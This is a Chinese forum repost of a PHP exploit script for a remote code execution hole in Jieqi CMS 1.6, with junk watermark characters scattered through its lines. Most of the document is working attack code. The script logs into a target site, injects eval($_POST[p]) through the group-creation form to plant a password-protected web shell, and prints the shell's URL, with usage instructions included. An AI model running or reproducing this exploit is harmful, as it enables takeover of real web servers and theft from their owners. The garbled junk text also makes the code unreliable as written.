杰奇网站管理系统(简称 JIEQI CMS,中国国家版权局著作权登记号:2006SR03382)是一套模块化的网站架设系统,具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案,并提供各类网站定制服务。
' F0 S8 ]0 u: @5 c% k7 Z
+ T( l: h5 y' Z) x5 l# u* _
' u1 h( n$ ]( i& M/ X Z& ~+ f# S该系统存在多个远程安全漏洞,今天报告的这个是1.6版本的一个远程代码执行漏洞,应该有2年多历史了。
1 r0 V* ?8 Q! F2 Y7 n 需要有一个能创建圈子的用户。
$ i z% e0 q" J: w1 y
- H! w7 _6 n" ?* v3 ~<?php
$ t7 h; m% r2 H
+ G4 T0 c4 u' q- z( G4 _4 wprint_r('
$ t3 d8 A0 N% \) L, M+---------------------------------------------------------------------------+
) X# X9 |" o# n2 wJieqi CMS V1.6 PHP Code Injection Exploit- [7 n) W5 _; @; Q/ G
by flyh4t
1 P7 F1 j+ _ Y9 i O2 |! \* Xmail: phpsec at hotmail dot com
. |3 S5 p! c: U. q$ L8 Fteam: http://www.wolvez.org
i& @: `9 U- B8 }) H# y9 B4 x4 V2 R+---------------------------------------------------------------------------+8 n% d: i3 |& w
'); /**" [# w8 {' L5 d. b
* works regardless of php.ini settings- ]* H8 s" D+ e' x5 `" u
*/ if ($argc < 5) { print_r('& C6 \. | S2 c" ]* b
+---------------------------------------------------------------------------+$ ~" s/ C6 R* ~. Q
Usage: php '.$argv[0].' host path username G7 F; [: Y, O
host: target server (ip/hostname)
9 c0 h1 p; Y. H: |; Lpath: path to jieqicms 1 P7 z$ d0 h+ W* V2 U
uasename: a username who can create group% R3 ^( U% [+ [8 r& w( n# N
Example:
1 q/ Q( {( m) d4 ^9 dphp '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password
$ u" W/ S3 P* T8 J+---------------------------------------------------------------------------+% S% C! n) }' ?, M/ v
'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------23281168279961
2 h5 k( O1 S& F! KContent-Disposition: form-data; name="gname"
6 U8 s- J/ o8 o2 a3 `+ ~
" U& U- r9 |, ~! w6 Q1 T4 W7 {'; $params .="';"; $params .='eval($_POST[p]);//flyh4t$ p4 `; y& `+ v- {6 V2 S0 J/ D
-----------------------------23281168279961
! C& C# g$ u; N* M H, NContent-Disposition: form-data; name="gcatid"+ R/ D" U: ]. L- Y
! f8 ~' Q6 j3 c% F) z5 f% A/ g4 \
14 Z3 h; r1 q( t& ?6 a, G
-----------------------------23281168279961" M- N% e5 W# i
Content-Disposition: form-data; name="gaudit"
' {' U* Y1 _+ B1 w0 k
3 _! a5 | r6 r* B7 L2 }2 w2 E12 D$ {( \, ^$ O: A$ t5 F' i
-----------------------------23281168279961
' N5 b9 v7 W2 S4 b) Y) M) {- [Content-Disposition: form-data; name="gbrief"7 H6 @/ q$ ]% _- X
& w& V8 n6 ?% X; M' o" W
1* T" U4 `# Z4 ^3 j
-----------------------------23281168279961--
7 \+ I4 W" T0 d0 [8 j# Q* g'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean(); www.2cto.com
6 P- b& h0 k% }5 L2 l1 Q+ j
3 ~; e6 U9 Z' X+ h" a2 Q9 p4 Rpreg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url; |